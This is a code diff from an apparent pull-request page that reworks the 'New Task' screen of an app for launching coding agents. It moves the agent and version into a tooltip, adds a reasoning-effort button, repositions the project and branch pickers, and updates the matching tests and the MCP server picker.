max-width: 40%;
|
||||
}
|
||||
|
||||
/* The agent shows as its icon only. */
|
||||
.agentPicker {
|
||||
display: flex;
|
||||
flex: none;
|
||||
}
|
||||
|
||||
.note,
|
||||
@@ -68,31 +95,20 @@
|
||||
justify-content: flex-end;
|
||||
padding: 16px 12px 12px;
|
||||
}
|
||||
.docked .inner {
|
||||
gap: var(--space-2);
|
||||
.dockedIntro {
|
||||
flex: 1;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 100%;
|
||||
min-height: 0;
|
||||
padding-bottom: 8vh;
|
||||
}
|
||||
.docked .where {
|
||||
flex-wrap: nowrap;
|
||||
min-width: 0;
|
||||
}
|
||||
.docked .projectPicker,
|
||||
.docked .projectChip {
|
||||
flex: 0 1 auto;
|
||||
min-width: 0;
|
||||
max-width: 30%;
|
||||
}
|
||||
.docked .branch,
|
||||
.docked .basePicker {
|
||||
order: 1;
|
||||
flex: 0 1 auto;
|
||||
min-width: 0;
|
||||
}
|
||||
.docked .isolation {
|
||||
order: 2;
|
||||
flex: 0 1 auto;
|
||||
min-width: 0;
|
||||
max-width: 45%;
|
||||
margin-left: auto;
|
||||
.docked .heading {
|
||||
margin: 0;
|
||||
font-size: calc(15px + var(--agent-font-zoom, 0px));
|
||||
font-weight: 500;
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.notes {
|
||||
|
||||
@@ -77,6 +77,8 @@ beforeEach(() => {
|
||||
updateComposer(HOME, { text: "Check the project" });
|
||||
});
|
||||
|
||||
const effortButton = () => screen.getByRole("button", { name: "Reasoning" });
|
||||
|
||||
async function chooseModel(model: string) {
|
||||
fireEvent.click(screen.getByRole("button", { name: "Model" }));
|
||||
fireEvent.click(screen.getByRole("option", { name: model }));
|
||||
@@ -85,19 +87,16 @@ async function chooseModel(model: string) {
|
||||
|
||||
it("switches model-specific levels and restores each draft effort before starting", async () => {
|
||||
render(<HomeEditor />);
|
||||
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("bighigh");
|
||||
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("big");
|
||||
expect(effortButton()).toHaveTextContent("high");
|
||||
await chooseModel("small");
|
||||
fireEvent.click(screen.getByRole("button", { name: "Model" }));
|
||||
fireEvent.click(screen.getByRole("button", { name: "Configure model" }));
|
||||
const group = screen.getByRole("radiogroup", { name: "Reasoning" });
|
||||
expect(group).toBeVisible();
|
||||
expect(screen.getByRole("radio", { name: "minimal" })).toHaveAttribute("aria-checked", "true");
|
||||
fireEvent.click(screen.getByRole("radio", { name: "medium" }));
|
||||
fireEvent.keyDown(document, { key: "Escape" });
|
||||
expect(effortButton()).toHaveTextContent("minimal");
|
||||
fireEvent.click(effortButton());
|
||||
fireEvent.click(screen.getByRole("option", { name: "medium" }));
|
||||
await chooseModel("big");
|
||||
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("bighigh");
|
||||
expect(effortButton()).toHaveTextContent("high");
|
||||
await chooseModel("small");
|
||||
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("smallmedium");
|
||||
expect(effortButton()).toHaveTextContent("medium");
|
||||
fireEvent.click(screen.getByRole("button", { name: "Start" }));
|
||||
await waitFor(() => expect(backend.create).toHaveBeenCalled());
|
||||
expect(backend.create.mock.calls[0]![0].config).toEqual([
|
||||
@@ -125,9 +124,11 @@ it("uses GitHub Copilot's own defaults and preserves per-model context tier and
|
||||
};
|
||||
useAgents.setState({ providers: [copilot], draft: savedDraft({ provider: "copilot", config: {} }) });
|
||||
render(<HomeEditor />);
|
||||
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("gemini-4-carbonmedium · default");
|
||||
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("gemini-4-carbondefault");
|
||||
expect(effortButton()).toHaveTextContent("medium");
|
||||
await chooseModel("gpt-5.6-sol");
|
||||
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("gpt-5.6-solmedium · default");
|
||||
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("gpt-5.6-soldefault");
|
||||
expect(effortButton()).toHaveTextContent("medium");
|
||||
fireEvent.click(screen.getByRole("button", { name: "Start" }));
|
||||
await waitFor(() => expect(backend.create).toHaveBeenCalled());
|
||||
expect(backend.create.mock.calls[0]![0].config).toEqual([
|
||||
@@ -161,7 +162,7 @@ it("ignores old provider-wide effort choices and refreshes unsupported per-model
|
||||
draft: savedDraft({ provider: "fake", config: { effort: "low" }, thoughtLevels: { big: { effort: "removed" } } }),
|
||||
});
|
||||
render(<HomeEditor />);
|
||||
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("bighigh");
|
||||
expect(effortButton()).toHaveTextContent("high");
|
||||
fireEvent.click(screen.getByRole("button", { name: "Start" }));
|
||||
await waitFor(() => expect(backend.create).toHaveBeenCalled());
|
||||
expect(backend.create.mock.calls[0]![0].config).toContainEqual({ id: "effort", value: "high" });
|
||||
@@ -208,10 +209,10 @@ it("refreshes the displayed agent version after a CLI upgrade when the window re
|
||||
return ok({ provider, name: "omp", version: cached, protocol: "ACP v1", error: null });
|
||||
});
|
||||
render(<HomeEditor />);
|
||||
await screen.findByText("omp · 18.20.0 · ACP v1");
|
||||
await waitFor(() => expect(agentTooltip()).toMatch(/ 18\.20\.0$/));
|
||||
installed = "18.20.2";
|
||||
fireEvent(window, new Event("focus"));
|
||||
await screen.findByText("omp · 18.20.2 · ACP v1");
|
||||
await waitFor(() => expect(agentTooltip()).toMatch(/ 18\.20\.2$/));
|
||||
});
|
||||
|
||||
it("does not reuse a previous page's cached agent version when opened again", async () => {
|
||||
@@ -219,5 +220,10 @@ it("does not reuse a previous page's cached agent version when opened again", as
|
||||
ok({ provider, name: "omp", version: refresh ? "18.20.2" : "18.20.0", protocol: "ACP v1", error: null }),
|
||||
);
|
||||
render(<HomeEditor />);
|
||||
await screen.findByText("omp · 18.20.2 · ACP v1");
|
||||
await waitFor(() => expect(agentTooltip()).toMatch(/ 18\.20\.2$/));
|
||||
});
|
||||
|
||||
/** The agent picker shows its icon; the name and version are in its tooltip. */
|
||||
function agentTooltip() {
|
||||
return screen.getByRole("button", { name: "Agent" }).parentElement?.getAttribute("data-tooltip");
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
/** New Task page: one prompt box with the agent and its settings; where it works under it. */
|
||||
/** New Task page: one prompt box with the agent and its settings; where it works in a quiet line under it. */
|
||||
import clsx from "clsx";
|
||||
import { useEffect, useRef, useState } from "react";
|
||||
import type { AgentProbe, Branch } from "@/bindings";
|
||||
@@ -6,7 +6,7 @@ import { executeAction } from "@/platform/actions";
|
||||
import { call, commands } from "@/platform/ipc";
|
||||
import { useTx, useTxTemplate } from "@/platform/i18n";
|
||||
import { basename, useProject } from "@/platform/project";
|
||||
import { Chip, Select, T, type SelectOption } from "@/ui";
|
||||
import { Icon, Select, T, tooltipAttrs, type SelectOption } from "@/ui";
|
||||
import { defaultTaskProject } from "./project";
|
||||
import { maybeEditorService, useEditorShown, type EditorInput } from "@/workbench/contributions";
|
||||
import { Composer } from "./Composer";
|
||||
@@ -60,6 +60,8 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [starting, setStarting] = useState(false);
|
||||
const [mcpOpenRequest, setMcpOpenRequest] = useState(0);
|
||||
// Kept mounted while another tab shows: what changed meanwhile is read again when it shows.
|
||||
const shown = useEditorShown();
|
||||
|
||||
// Agents installed in Settings (its own window) show up when this one is back in front.
|
||||
useEffect(() => {
|
||||
@@ -70,6 +72,7 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (!shown) return;
|
||||
let live = true;
|
||||
const repo = project?.workspace ? root : null;
|
||||
void Promise.all([call(commands.vcsBranchInfo(repo)), call(commands.vcsBranches(repo))])
|
||||
@@ -83,10 +86,9 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
|
||||
return () => {
|
||||
live = false;
|
||||
};
|
||||
}, [root, project?.workspace]);
|
||||
}, [root, project?.workspace, shown]);
|
||||
|
||||
const provider = providers.find((p) => p.id === draft.provider) ?? providers[0];
|
||||
const shown = useEditorShown();
|
||||
const probe = useProbe(provider?.installed ? provider.id : null, provider?.command, shown);
|
||||
const catalog = useAgents((s) => s.modelCatalogs.get(provider?.id ?? ""));
|
||||
const requestingModels = useAgents((s) => s.modelRequests.has(provider?.id ?? ""));
|
||||
@@ -122,6 +124,10 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
|
||||
!starting &&
|
||||
(!project?.workspace || repoState?.root === root);
|
||||
|
||||
const openMcp = () => setMcpOpenRequest((n) => n + 1);
|
||||
// The agent shows as its icon; its name and version are in the tooltip.
|
||||
const agentTitle = [provider?.name ?? tx("Agent"), probe?.version].filter(Boolean).join(" ");
|
||||
|
||||
const start = () => {
|
||||
if (!canStart) return;
|
||||
setStarting(true);
|
||||
@@ -137,93 +143,25 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
|
||||
className={clsx(styles.home, docked && styles.docked, fitWindowWidth && styles.fitWidth)}
|
||||
style={zoomStyle}
|
||||
>
|
||||
{/* In the tool window the box sits at the bottom, under the question centred in the space above. */}
|
||||
{docked && (
|
||||
<div className={styles.dockedIntro}>
|
||||
<h1 className={styles.heading}>
|
||||
<T>What should the agent do?</T>
|
||||
</h1>
|
||||
</div>
|
||||
)}
|
||||
<div className={styles.inner}>
|
||||
{!docked && (
|
||||
<h1 className={styles.heading}>
|
||||
<T>What should the agent do?</T>
|
||||
</h1>
|
||||
)}
|
||||
{/* Above the box, like the running session's state line. */}
|
||||
<div className={styles.where}>
|
||||
{members.length > 1 ? (
|
||||
<Select
|
||||
variant="chip"
|
||||
aria-label={tx("Project")}
|
||||
className={styles.projectPicker}
|
||||
value={root}
|
||||
options={members.map((path) => ({
|
||||
value: path,
|
||||
label: basename(path),
|
||||
detail: path,
|
||||
icon: "folder",
|
||||
}))}
|
||||
onChange={(path) => {
|
||||
setSelected(path);
|
||||
updateDraft({ base: null });
|
||||
}}
|
||||
/>
|
||||
) : projectLabel ? (
|
||||
<Chip icon="folder" title={root} className={styles.projectChip}>
|
||||
{projectLabel}
|
||||
</Chip>
|
||||
) : null}
|
||||
{isGit && (
|
||||
<Select
|
||||
variant="chip"
|
||||
aria-label="Isolation"
|
||||
className={styles.isolation}
|
||||
value={isolation}
|
||||
options={[
|
||||
{ value: "worktree", label: tx("New worktree"), icon: "branch", detail: tx("away from your changes") },
|
||||
{
|
||||
value: "local",
|
||||
label: tx("Local checkout"),
|
||||
icon: "folder",
|
||||
detail: tx("edits your files directly"),
|
||||
},
|
||||
]}
|
||||
onChange={(isolation) => updateDraft({ isolation, isolationChosen: true })}
|
||||
/>
|
||||
)}
|
||||
{/* A folder that isn't a repository has no branch: the one Git found below it isn't where the agent runs. */}
|
||||
{isolation === "local" && isGit && current && (
|
||||
<>
|
||||
{!docked && (
|
||||
<span className={styles.note}>
|
||||
<T>on</T>
|
||||
</span>
|
||||
)}
|
||||
<Chip icon="branch" title={current} className={styles.branch}>
|
||||
{current}
|
||||
</Chip>
|
||||
</>
|
||||
)}
|
||||
{isolation === "worktree" && branches.length > 0 && (
|
||||
<>
|
||||
{!docked && (
|
||||
<span className={styles.note}>
|
||||
<T>from</T>
|
||||
</span>
|
||||
)}
|
||||
<Select
|
||||
variant="chip"
|
||||
aria-label="Base branch"
|
||||
className={styles.basePicker}
|
||||
value={base}
|
||||
options={branches.map((b) => ({ value: b.name, label: b.name, icon: "branch" }))}
|
||||
onChange={(b) => updateDraft({ base: b === current ? null : b })}
|
||||
/>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
<Composer
|
||||
id={HOME}
|
||||
autoFocus
|
||||
placeholder={
|
||||
docked
|
||||
? "Describe a task…"
|
||||
: "Describe a task for the agent. @ references a file or folder, / runs a command"
|
||||
}
|
||||
className={docked ? undefined : styles.composer}
|
||||
autoFocus={shown}
|
||||
placeholder={docked ? "Describe a task…" : "Describe a task. @ for files, / for commands"}
|
||||
root={root}
|
||||
projectRoot={root}
|
||||
commands={agentCommands}
|
||||
@@ -231,19 +169,23 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
|
||||
config={config}
|
||||
onConfig={setDraftOption}
|
||||
onSubmit={start}
|
||||
onOpenMcp={() => setMcpOpenRequest((n) => n + 1)}
|
||||
onOpenMcp={openMcp}
|
||||
disabled={!canStart}
|
||||
addMenu={provider ? [{ id: "mcp", label: "MCP Servers…", icon: "plugin", run: openMcp }] : undefined}
|
||||
toolbar={
|
||||
<>
|
||||
<Select
|
||||
variant="ghost"
|
||||
aria-label="Agent"
|
||||
value={provider?.id ?? null}
|
||||
options={providerOptions}
|
||||
onChange={(id) =>
|
||||
id === ADD_AGENT ? void executeAction("agents.addAgent") : updateDraft({ provider: id, config: {} })
|
||||
}
|
||||
/>
|
||||
<span className={styles.agentPicker} {...tooltipAttrs(agentTitle, undefined, true)}>
|
||||
<Select
|
||||
variant="ghost"
|
||||
aria-label="Agent"
|
||||
value={provider?.id ?? null}
|
||||
options={providerOptions}
|
||||
renderValue={(o) => (o?.icon ? <Icon name={o.icon} size={14} /> : <T>Agent</T>)}
|
||||
onChange={(id) =>
|
||||
id === ADD_AGENT ? void executeAction("agents.addAgent") : updateDraft({ provider: id, config: {} })
|
||||
}
|
||||
/>
|
||||
</span>
|
||||
<ConfigPickers
|
||||
key={provider?.id}
|
||||
config={config}
|
||||
@@ -265,6 +207,7 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
|
||||
overrides={draft.mcpOverrides}
|
||||
onChange={setDraftMcpOverrides}
|
||||
openRequest={mcpOpenRequest}
|
||||
hideTrigger
|
||||
/>
|
||||
)}
|
||||
</>
|
||||
@@ -278,6 +221,71 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
|
||||
/>
|
||||
}
|
||||
/>
|
||||
{/* Under the box: where the agent works. Project and checkout on the left, the branch on the right. */}
|
||||
<div className={styles.where}>
|
||||
{members.length > 1 ? (
|
||||
<Select
|
||||
variant="ghost"
|
||||
aria-label={tx("Project")}
|
||||
className={styles.projectPicker}
|
||||
value={root}
|
||||
options={members.map((path) => ({
|
||||
value: path,
|
||||
label: basename(path),
|
||||
detail: path,
|
||||
icon: "folder",
|
||||
}))}
|
||||
onChange={(path) => {
|
||||
setSelected(path);
|
||||
updateDraft({ base: null });
|
||||
}}
|
||||
/>
|
||||
) : projectLabel ? (
|
||||
<span className={styles.project} title={root}>
|
||||
<Icon name="folder" size={14} />
|
||||
<span className={styles.label}>{projectLabel}</span>
|
||||
</span>
|
||||
) : null}
|
||||
{isGit && (
|
||||
<Select
|
||||
variant="ghost"
|
||||
aria-label="Isolation"
|
||||
value={isolation}
|
||||
options={[
|
||||
{
|
||||
value: "local",
|
||||
label: tx("Local checkout"),
|
||||
icon: "folder",
|
||||
detail: tx("edits your files directly"),
|
||||
},
|
||||
{
|
||||
value: "worktree",
|
||||
label: tx("New worktree"),
|
||||
icon: "branch",
|
||||
detail: tx("away from your changes"),
|
||||
},
|
||||
]}
|
||||
renderValue={(o) => (o?.value === "worktree" ? tx("Worktree") : tx("Local"))}
|
||||
onChange={(isolation) => updateDraft({ isolation, isolationChosen: true })}
|
||||
/>
|
||||
)}
|
||||
{/* A folder that isn't a repository has no branch: the one Git found below it isn't where the agent runs. */}
|
||||
{isolation === "local" && isGit && current && (
|
||||
<span className={styles.project} title={current}>
|
||||
<Icon name="branch" size={14} />
|
||||
<span className={styles.label}>{current}</span>
|
||||
</span>
|
||||
)}
|
||||
{isolation === "worktree" && branches.length > 0 && (
|
||||
<Select
|
||||
variant="ghost"
|
||||
aria-label="Base branch"
|
||||
value={base}
|
||||
options={branches.map((b) => ({ value: b.name, label: b.name, icon: "branch" }))}
|
||||
onChange={(b) => updateDraft({ base: b === current ? null : b })}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
{/* Notes under the box don't take part in centring, so the box stays put as they come and go. */}
|
||||
<div className={styles.notes}>
|
||||
{effortAnnouncement && (
|
||||
@@ -290,11 +298,9 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
|
||||
<T>Choose another model before starting.</T>
|
||||
</p>
|
||||
)}
|
||||
{probe && (!docked || probe.error) && (
|
||||
<p className={probe.error ? styles.warning : styles.note}>
|
||||
{probe.error
|
||||
? txTemplate(`${provider?.name ?? probe.provider} didn't start: ${probe.error}`)
|
||||
: [probe.name, probe.version, probe.protocol].filter(Boolean).join(" · ")}
|
||||
{probe?.error && (
|
||||
<p className={styles.warning}>
|
||||
{txTemplate(`${provider?.name ?? probe.provider} didn't start: ${probe.error}`)}
|
||||
</p>
|
||||
)}
|
||||
{(error || (provider && !provider.installed)) && (
|
||||
|
||||
@@ -211,3 +211,12 @@
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-tiny);
|
||||
}
|
||||
|
||||
/* The composer is the nearest positioned box: its bottom-right corner. */
|
||||
.hiddenAnchor {
|
||||
position: absolute;
|
||||
right: 0;
|
||||
bottom: 0;
|
||||
width: 0;
|
||||
height: 0;
|
||||
}
|
||||
@@ -34,6 +34,8 @@ export interface McpPickerProps {
|
||||
busy?: boolean;
|
||||
/** Bumped when `/mcp` is invoked from the composer to open this popover. */
|
||||
openRequest?: number;
|
||||
/** No button of its own: opened only through `openRequest`, above the composer. */
|
||||
hideTrigger?: boolean;
|
||||
/** Optional overrides for unit tests. */
|
||||
backend?: McpBackend;
|
||||
testData?: {
|
||||
@@ -50,6 +52,7 @@ export function McpPicker({
|
||||
disabled = false,
|
||||
busy = false,
|
||||
openRequest = 0,
|
||||
hideTrigger = false,
|
||||
backend = defaultMcpBackend,
|
||||
testData,
|
||||
}: McpPickerProps) {
|
||||
@@ -67,7 +70,10 @@ export function McpPicker({
|
||||
const [seenOpenRequest, setSeenOpenRequest] = useState(openRequest);
|
||||
const [query, setQuery] = useState("");
|
||||
const [importingKey, setImportingKey] = useState<string | null>(null);
|
||||
const anchor = useRef<HTMLButtonElement>(null);
|
||||
const anchor = useRef<HTMLElement | null>(null);
|
||||
const setAnchor = (el: HTMLElement | null) => {
|
||||
anchor.current = el;
|
||||
};
|
||||
|
||||
if (openRequest !== seenOpenRequest) {
|
||||
setSeenOpenRequest(openRequest);
|
||||
@@ -134,38 +140,43 @@ export function McpPicker({
|
||||
|
||||
return (
|
||||
<>
|
||||
<button
|
||||
ref={anchor}
|
||||
type="button"
|
||||
disabled={disabled}
|
||||
className={styles.trigger}
|
||||
title={
|
||||
resolved.overrideCount > 0
|
||||
? formatMessage(tx("MCP servers ({active}/{total} active · {overrides} session overrides)"), {
|
||||
active: resolved.activeCount,
|
||||
total: resolved.totalCount,
|
||||
overrides: resolved.overrideCount,
|
||||
})
|
||||
: formatMessage(tx("MCP servers ({active}/{total} active)"), {
|
||||
active: resolved.activeCount,
|
||||
total: resolved.totalCount,
|
||||
})
|
||||
}
|
||||
aria-label={tx("MCP servers")}
|
||||
aria-haspopup="dialog"
|
||||
aria-expanded={open}
|
||||
onClick={toggleOpen}
|
||||
>
|
||||
<Icon name="plugin" size={13} />
|
||||
<span className={styles.triggerLabel}>MCP</span>
|
||||
<span className={styles.triggerCount}>{countLabel}</span>
|
||||
{resolved.overrideCount > 0 && <span className={styles.overrideDot} aria-hidden />}
|
||||
</button>
|
||||
{hideTrigger ? (
|
||||
// Pinned to the composer's bottom-right corner: the popover opens under the box, like its other pickers.
|
||||
<span ref={setAnchor} className={styles.hiddenAnchor} aria-hidden />
|
||||
) : (
|
||||
<button
|
||||
ref={setAnchor}
|
||||
type="button"
|
||||
disabled={disabled}
|
||||
className={styles.trigger}
|
||||
title={
|
||||
resolved.overrideCount > 0
|
||||
? formatMessage(tx("MCP servers ({active}/{total} active · {overrides} session overrides)"), {
|
||||
active: resolved.activeCount,
|
||||
total: resolved.totalCount,
|
||||
overrides: resolved.overrideCount,
|
||||
})
|
||||
: formatMessage(tx("MCP servers ({active}/{total} active)"), {
|
||||
active: resolved.activeCount,
|
||||
total: resolved.totalCount,
|
||||
})
|
||||
}
|
||||
aria-label={tx("MCP servers")}
|
||||
aria-haspopup="dialog"
|
||||
aria-expanded={open}
|
||||
onClick={toggleOpen}
|
||||
>
|
||||
<Icon name="plugin" size={13} />
|
||||
<span className={styles.triggerLabel}>MCP</span>
|
||||
<span className={styles.triggerCount}>{countLabel}</span>
|
||||
{resolved.overrideCount > 0 && <span className={styles.overrideDot} aria-hidden />}
|
||||
</button>
|
||||
)}
|
||||
|
||||
<Popup
|
||||
open={open}
|
||||
anchor={anchor}
|
||||
placement="top-start"
|
||||
placement={hideTrigger ? "bottom-end" : "top-start"}
|
||||
offset={6}
|
||||
onClose={() => {
|
||||
setOpen(false);
|
||||
|
||||
Loaded 100 of 221 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Заблокувати користувача